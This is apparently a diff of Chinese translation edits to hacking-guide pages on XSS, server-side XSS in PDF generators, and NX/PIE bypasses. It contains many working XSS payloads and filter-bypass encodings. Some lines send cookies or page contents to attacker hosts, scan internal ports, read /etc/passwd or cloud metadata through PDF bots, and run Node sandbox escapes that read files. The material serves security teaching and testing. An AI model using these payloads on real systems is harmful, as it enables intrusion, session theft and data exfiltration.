4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你将需要某种社交工程来利用它）：**`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
如果你控制一个类名，Angular 执行 XSS 的奇怪例子：
|
||||
如果你控制类名，Angular 执行 XSS 的奇怪例子：
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -69,7 +69,7 @@ debugging-client-side-js.md
|
||||
|
||||
在这种情况下，您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间，或者在 `.js` 文件中，或在使用 **`javascript:`** 协议的属性中：
|
||||
|
||||
- 如果反映在 **`<script> [...] </script>`** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `</script>` 并从此上下文中逃脱。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
- 如果反映在 **`<script> [...] </script>`** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `</script>` 并逃离此上下文。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
- 如果反映 **在 JS 字符串内**，并且最后的技巧不起作用，您需要 **退出** 字符串，**执行** 您的代码并 **重构** JS 代码（如果有任何错误，它将不会被执行）：
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
@ -100,7 +100,7 @@ js-hoisting.md
|
||||
|
||||
如果它是脆弱的，您可能能够**触发一个警报**，只需发送值：**`?callback=alert(1)`**。然而，这些端点通常会**验证内容**，只允许字母、数字、点和下划线（**`[\w\._]`**）。
|
||||
|
||||
然而，即使有这个限制，仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**：
|
||||
然而，即使有这个限制，仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**：
|
||||
|
||||
.png>)
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **通用 XSS**
|
||||
|
||||
这种类型的 XSS 可以在**任何地方**找到。它们不仅仅依赖于对 Web 应用程序的客户端利用，而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
|
||||
这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用，还依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上，等等。\
|
||||
一些**示例**：
|
||||
|
||||
{{#ref}}
|
||||
@ -153,7 +153,7 @@ server-side-xss-dynamic-pdf.md
|
||||
对于这些情况，还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
||||
&#xNAN;_**注意：HTML 注释可以使用\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*或 \*\*\*\*\*\***`--!>`\*\**_
|
||||
|
||||
在这种情况下，如果没有使用黑/白名单，您可以使用以下有效负载：
|
||||
在这种情况下，如果没有使用黑名单/白名单，您可以使用以下有效负载：
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -162,7 +162,7 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
但是，如果使用了标签/属性的黑白名单，您需要**暴力破解可以创建的标签**。\
|
||||
一旦您**找到了允许的标签**，您需要**暴力破解有效标签内的属性/事件**，以查看如何攻击该上下文。
|
||||
一旦您**找到了允许的标签**，您需要**暴力破解属性/事件**，以查看如何攻击该上下文。
|
||||
|
||||
### 标签/事件暴力破解
|
||||
|
||||
@ -243,14 +243,14 @@ onerror=alert`1`
|
||||
|
||||
### 不可能 - 悬挂标记
|
||||
|
||||
如果您认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**，您应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/)，因为您可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
|
||||
如果您认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**，您应该查看 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html)，因为您可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
|
||||
|
||||
## 在 HTML 标签内注入
|
||||
|
||||
### 在标签内/从属性值中转义
|
||||
|
||||
如果您在 **HTML 标签内**，您可以尝试的第一件事是 **从标签中转义**，并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
|
||||
如果您 **无法从标签中转义**，您可以在标签内创建新的属性以尝试执行 JS 代码，例如使用一些有效载荷（_请注意，在此示例中使用双引号从属性中转义，如果您的输入直接反映在标签内，则不需要它们_）：
|
||||
如果您 **无法从标签中转义**，您可以在标签内创建新属性以尝试执行 JS 代码，例如使用一些有效载荷（_请注意，在此示例中使用双引号从属性中转义，如果您的输入直接反映在标签内，则不需要它们_）：
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,12 +267,12 @@ onerror=alert`1`
|
||||
```
|
||||
### Within the attribute
|
||||
|
||||
即使你**无法从属性中逃脱**（`"`被编码或删除），根据**你的值反射在哪个属性中**，**如果你控制所有值或只是部分值**，你将能够利用它。**例如**，如果你控制一个事件如`onclick=`，你将能够使其在点击时执行任意代码。\
|
||||
即使你**无法从属性中逃脱**（`"`被编码或删除），根据**你的值反射在哪个属性中**，**如果你控制所有值或只是部分值**，你将能够利用它。例如，如果你控制一个事件如`onclick=`，你将能够使其在点击时执行任意代码。\
|
||||
另一个有趣的**例子**是属性`href`，你可以使用`javascript:`协议来执行任意代码：**`href="javascript:alert(1)"`**
|
||||
|
||||
**通过HTML编码/URL编码绕过事件**
|
||||
|
||||
HTML标签属性值中的**HTML编码字符**在运行时会被**解码**。因此，像以下内容将是有效的（有效负载用粗体表示）：`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此，像以下内容将是有效的（有效负载用粗体表示）：`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
请注意**任何类型的HTML编码都是有效的**：
|
||||
```javascript
|
||||
@ -301,9 +301,9 @@ HTML标签属性值中的**HTML编码字符**在运行时会被**解码**。因
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### 特殊协议在属性中
|
||||
### Special Protocols Within the attribute
|
||||
|
||||
在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互，有些则不需要。
|
||||
在那里，您可以在某些地方使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互，有些则不需要。
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -357,7 +357,7 @@ _**在这种情况下，上一节中的HTML编码和Unicode编码技巧也是有
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将** **不起作用**，但你可以在 **payload** 内部 **混合它们**。
|
||||
注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不会** **工作**，但你可以在 **payload** 中 **混合使用它们**。
|
||||
|
||||
**使用 Hex 和 Octal 编码与 `javascript:`**
|
||||
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields)：您可以在隐藏属性中执行**XSS有效负载**，前提是您可以**说服****受害者**按下**键组合**。在Firefox Windows/Linux上，键组合是**ALT+SHIFT+X**，在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量：
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields)：您可以在**隐藏属性**中执行**XSS有效负载**，前提是您可以**说服****受害者**按下**键组合**。在Firefox Windows/Linux上，键组合是**ALT+SHIFT+X**，在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量：
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### 黑名单绕过
|
||||
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的内容：**
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回以了解您可以在哪里使用：**
|
||||
|
||||
- **HTML编码（HTML标签）**
|
||||
- **Unicode编码（可以是有效的JS代码）：** `\u0061lert(1)`
|
||||
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### CSS小工具
|
||||
|
||||
如果您在网络的**非常小的部分**发现了**XSS**，并且需要某种交互（也许是页脚中的一个小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
如果您在网页的**非常小的部分**发现了**XSS**，并且需要某种交互（可能是页脚中的一个小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
|
||||
例如，您可以在元素中添加一些样式，如：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## 在JavaScript代码中注入
|
||||
|
||||
在这种情况下，您的**输入**将**反映在.js文件的JS代码**中，或在`<script>...</script>`标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。
|
||||
在这种情况下，您的**输入**将**反映在`.js`文件的JS代码**中，或在`<script>...</script>`标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。
|
||||
|
||||
### 转义\<script>标签
|
||||
|
||||
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**在JS代码中的空格替代**
|
||||
**在JS代码中的空格替换**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
@ -738,7 +738,7 @@ top[8680439..toString(30)](1)
|
||||
````
|
||||
## **DOM 漏洞**
|
||||
|
||||
有 **JS 代码** 使用了 **由攻击者控制的不安全数据**，例如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
有 **JS 代码** 使用 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
@ -746,7 +746,7 @@ dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
在这里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
|
||||
此外，不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
此外，别忘了在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
|
||||
### 升级 Self-XSS
|
||||
|
||||
@ -758,7 +758,7 @@ dom-xss.md
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例。
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用案例。
|
||||
|
||||
### 将你的会话发送给管理员
|
||||
|
||||
@ -774,7 +774,7 @@ dom-xss.md
|
||||
|
||||
### 规范化 Unicode
|
||||
|
||||
你可以检查 **反射值** 是否在服务器（或客户端）中 **进行 Unicode 规范化**，并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
你可以检查 **反射值** 是否在服务器（或客户端）中 **进行 Unicode 规范化**，并利用此功能绕过保护。 [**在这里找到一个例子**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL 标志绕过
|
||||
```javascript
|
||||
@ -823,24 +823,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS与302响应中的头注入
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
如果你发现可以**在302重定向响应中注入头**，你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**，因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体，因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
如果你发现可以在 **302 重定向响应中注入头部**，你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**，因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体，因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中，你可以阅读如何在Location头中测试几种协议，并查看是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议：`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
|
||||
在 [**这份报告**](https://www.gremwell.com/firefox-xss-302) 和 [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中，你可以阅读如何测试 Location 头部中的多个协议，并查看其中是否有任何协议允许浏览器检查并执行有效载荷。\
|
||||
已知的协议包括： `mailto://`、 `//x:1/`、 `ws://`、 `wss://`、 _空 Location 头部_、 `resource://`。
|
||||
|
||||
### 仅限字母、数字和点
|
||||
|
||||
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
|
||||
如果你能够指示 JavaScript 将要 **执行的回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何利用这种行为。
|
||||
|
||||
### 有效的`<script>`内容类型以进行XSS
|
||||
### 有效的 `<script>` 内容类型以进行 XSS
|
||||
|
||||
（来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)）如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本，Chrome将抛出以下错误：
|
||||
（来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)）如果你尝试加载一个 **内容类型** 为 `application/octet-stream` 的脚本，Chrome 将抛出以下错误：
|
||||
|
||||
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本，因为其MIME类型（‘application/octet-stream’）不可执行，并且启用了严格的MIME类型检查。
|
||||
> 拒绝从 ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 执行脚本，因为其 MIME 类型（‘application/octet-stream’）不可执行，并且启用了严格的 MIME 类型检查。
|
||||
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中const **`kSupportedJavascriptTypes`**内的类型。
|
||||
唯一支持 Chrome 运行 **加载脚本** 的 **Content-Type** 是 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) 中常量 **`kSupportedJavascriptTypes`** 内的类型。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -923,7 +923,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? 不在列表中，但我认为我在 CTF 中见过这个)
|
||||
- text/plain (?? 不在列表中，但我想我在 CTF 中见过这个)
|
||||
- application/rss+xml (关闭)
|
||||
- application/atom+xml (关闭)
|
||||
|
||||
@ -931,7 +931,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
如果页面返回 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
|
||||
如果页面返回的是 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -943,7 +943,7 @@ import { partition } from "lodash"
|
||||
|
||||
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时，攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施： `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
例如，在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中，这被用来 **转义脚本中的 JSON 字符串** 并执行任意代码。
|
||||
例如，在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中，这被用来 **转义一个 JSON 字符串** 并执行任意代码。
|
||||
|
||||
### Chrome 缓存到 XSS
|
||||
|
||||
@ -961,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
|
||||
|
||||
// use of with
|
||||
with(console)log(123)
|
||||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||||
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
|
||||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||||
|
||||
@ -993,13 +993,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- 间接访问 `require`
|
||||
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内，如下所示：
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)，模块在 Node.js 中被包装在一个函数内，如下所示：
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
因此，如果我们可以从该模块**调用另一个函数**，则可以使用 `arguments.callee.caller.arguments[1]` 从该函数访问 **`require`**：
|
||||
因此，如果我们可以从该模块**调用另一个函数**，则可以使用`arguments.callee.caller.arguments[1]`从该函数访问**`require`**：
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1267,7 +1267,7 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> 如果在 cookie 中设置了 HTTPOnly 标志，您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运，这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
|
||||
> 如果在 cookie 中设置了 HTTPOnly 标志，您 **将无法通过 JavaScript 访问 cookies**。但在这里，如果您足够幸运，您可以 [绕过此保护的某些方法](../hacking-with-cookies/index.html#httponly)。
|
||||
|
||||
### 偷取页面内容
|
||||
```javascript
|
||||
@ -1282,7 +1282,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### 查找内部IP
|
||||
### 查找内部IP地址
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1417,7 +1417,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### 访问 Shadow DOM
|
||||
### 访问影子DOM
|
||||
|
||||
{{#ref}}
|
||||
shadow-dom.md
|
||||
@ -1429,7 +1429,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### 盲 XSS 有效载荷
|
||||
### 盲XSS有效载荷
|
||||
|
||||
您还可以使用: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
||||
@ -8,14 +8,14 @@
|
||||
因此，如果**PDF 创建机器人发现**某种**HTML** **标签**，它将会**解释**这些标签，你可以**利用**这种行为导致**服务器 XSS**。
|
||||
|
||||
请注意，`<script></script>` 标签并不总是有效，因此你需要使用不同的方法来执行 JS（例如，利用 `<img`）。\
|
||||
另外，请注意，在常规利用中，你将**能够查看/下载创建的 PDF**，因此你将能够看到你**通过 JS 写入的所有内容**（例如使用 `document.write()`）。但是，如果你**无法看到**创建的 PDF，你可能需要**提取信息并向你发起网络请求**（盲注）。
|
||||
另外，请注意，在常规利用中，你将**能够查看/下载创建的 PDF**，因此你将能够看到你**通过 JS 写入的所有内容**（例如使用 `document.write()`）。但是，如果你**无法查看**创建的 PDF，你可能需要**通过向你发起网络请求来提取信息**（盲注）。
|
||||
|
||||
### 常见 PDF 生成
|
||||
|
||||
- **wkhtmltopdf** 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名，利用 WebKit 渲染引擎。该工具作为开源命令行实用程序可用，使其适用于广泛的应用。
|
||||
- **TCPDF** 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案。它能够处理图像、图形和加密，展示了其创建复杂文档的多功能性。
|
||||
- **TCPDF** 在 PHP 生态系统中提供了强大的 PDF 生成解决方案。它能够处理图像、图形和加密，展示了其创建复杂文档的多功能性。
|
||||
- 对于在 Node.js 环境中工作的开发者，**PDFKit** 提供了一个可行的选择。它允许直接从 HTML 和 CSS 生成 PDF 文档，为网页内容和可打印格式之间提供了桥梁。
|
||||
- Java 开发者可能更喜欢 **iText**，这是一个不仅促进 PDF 创建的库，还支持数字签名和表单填写等高级功能。其全面的功能集使其适合生成安全和互动的文档。
|
||||
- Java 开发者可能更喜欢 **iText**，这是一个不仅促进 PDF 创建，还支持数字签名和表单填写等高级功能的库。其全面的功能集使其适合生成安全和互动的文档。
|
||||
- **FPDF** 是另一个 PHP 库，以其简单性和易用性而著称。它旨在为寻求简单 PDF 生成方法的开发者设计，无需复杂的功能。
|
||||
|
||||
## Payloads
|
||||
@ -60,7 +60,7 @@ alert(1);
|
||||
</script>
|
||||
</svg>
|
||||
```
|
||||
您可以在 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 找到许多 **其他 SVG 有效载荷**。
|
||||
您可以在 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 找到许多 **其他 SVG 载荷**。
|
||||
|
||||
### 路径泄露
|
||||
```markup
|
||||
@ -81,7 +81,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
> [!WARNING]
|
||||
> 将 `file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 例如 **尝试访问外部网页 (SSRF)**。
|
||||
>
|
||||
> 如果允许 SSRF，但您 **无法访问** 有趣的域或 IP，[请查看此页面以获取潜在的绕过方法](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
||||
> 如果允许 SSRF，但您 **无法访问** 有趣的域或 IP，请 [查看此页面以获取潜在的绕过方法](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
||||
```markup
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
@ -145,14 +145,14 @@ checkPort(i);
|
||||
</script>
|
||||
<img src="https://attacker.com/startingScan">
|
||||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
||||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
这个漏洞可以很容易地转化为 SSRF（因为你可以让脚本加载外部资源）。所以只需尝试利用它（读取一些元数据？）。
|
||||
|
||||
### Attachments: PD4ML
|
||||
|
||||
有一些 HTML 2 PDF 引擎允许 **为 PDF 指定附件**，例如 **PD4ML**。你可以利用这个功能 **将任何本地文件附加到 PDF**。\
|
||||
要打开附件，我使用 **Firefox 打开文件并双击回形针符号**以 **将附件存储为新文件**。\
|
||||
为了打开附件，我用 **Firefox 打开文件并双击回形针符号**以 **将附件存储为新文件**。\
|
||||
使用 burp 捕获 **PDF 响应**也应该 **在 PDF 中以明文显示附件**。
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
|
||||
@ -61,7 +61,7 @@ DOMPurify.sanitize(qs.get("content"))
|
||||
<div
|
||||
id="1
|
||||
|
||||
//)">
|
||||
//index.html)">
|
||||
-----------------------------------------------
|
||||
<a
|
||||
title="a
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**No-Execute (NX)** 位，也称为 **Execute Disable (XD)** 在英特尔术语中，是一种基于硬件的安全特性，旨在 **减轻** **缓冲区溢出** 攻击的影响。当实施并启用时，它区分了用于 **可执行代码** 的内存区域和用于 **数据** 的区域，例如 **栈** 和 **堆**。核心思想是通过将恶意代码放入栈中并将执行流指向它，来防止攻击者通过缓冲区溢出漏洞执行恶意代码。
|
||||
**No-Execute (NX)** 位，也称为 **Execute Disable (XD)** 在英特尔术语中，是一种基于硬件的安全特性，旨在**减轻** **缓冲区溢出** 攻击的影响。当实施并启用时，它区分了用于 **可执行代码** 的内存区域和用于 **数据** 的区域，例如 **栈** 和 **堆**。核心思想是通过将恶意代码放置在栈中并将执行流指向它，来防止攻击者通过缓冲区溢出漏洞执行恶意代码。
|
||||
|
||||
## 绕过方法
|
||||
|
||||
- 可以使用诸如 [**ROP**](../stack-overflow/rop-return-oriented-programing.md) 的技术，通过执行二进制文件中已经存在的可执行代码块来绕过此保护。
|
||||
- [**Ret2libc**](../stack-overflow/ret2lib/)
|
||||
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
|
||||
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||
- **Ret2...**
|
||||
|
||||
|
||||
@ -6,24 +6,24 @@
|
||||
|
||||
编译为 PIE（**位置无关可执行文件**）的二进制文件意味着 **程序每次执行时可以加载到不同的内存位置**，防止硬编码地址。
|
||||
|
||||
利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置改变也保持不变。要 **绕过 PIE，您只需泄露一个地址**，通常通过格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址，您可以通过其 **固定偏移量** 计算其他地址。
|
||||
利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置改变也保持不变。要 **绕过 PIE，您只需泄露一个地址**，通常通过格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址，您可以通过它们的 **固定偏移量** 计算其他地址。
|
||||
|
||||
在利用 PIE 二进制文件时，一个有用的提示是它们的 **基地址通常以 000 结尾**，这是因为内存页是随机化的单位，大小为 0x1000 字节。如果一个漏洞没有按预期工作，这种对齐可以是一个关键的 **检查**，指示是否已识别正确的基地址。\
|
||||
或者您可以将其用于您的漏洞利用，如果您泄露了一个地址位于 **`0x649e1024`**，您就知道 **基地址是 `0x649e1000`**，然后您可以 **计算** 函数和位置的偏移量。
|
||||
或者您可以将其用于您的漏洞，如果您泄露了一个地址位于 **`0x649e1024`**，您就知道 **基地址是 `0x649e1000`**，然后您可以 **计算** 函数和位置的偏移量。
|
||||
|
||||
## 绕过方法
|
||||
|
||||
为了绕过 PIE，需要 **泄露已加载二进制文件的某个地址**，有一些选项可以做到这一点：
|
||||
|
||||
- **禁用 ASLR**：如果 ASLR 被禁用，编译为 PIE 的二进制文件总是 **会加载到相同的地址**，因此 **PIE 将变得无用**，因为对象的地址总是会在同一个地方。
|
||||
- 被 **给出** 泄露（在简单的 CTF 挑战中常见， [**查看此示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)）
|
||||
- 在栈中 **暴力破解 EBP 和 EIP 值**，直到您泄露正确的值：
|
||||
- 被 **给出** 泄露（在简单的 CTF 挑战中常见， [**查看这个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)）
|
||||
- **暴力破解 EBP 和 EIP 值** 在栈中，直到您泄露正确的值：
|
||||
|
||||
{{#ref}}
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- 使用任意读取漏洞，例如 [**格式字符串**](../../format-strings/) 来泄露二进制文件的地址（例如，从栈中，如前面的技术所示）以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
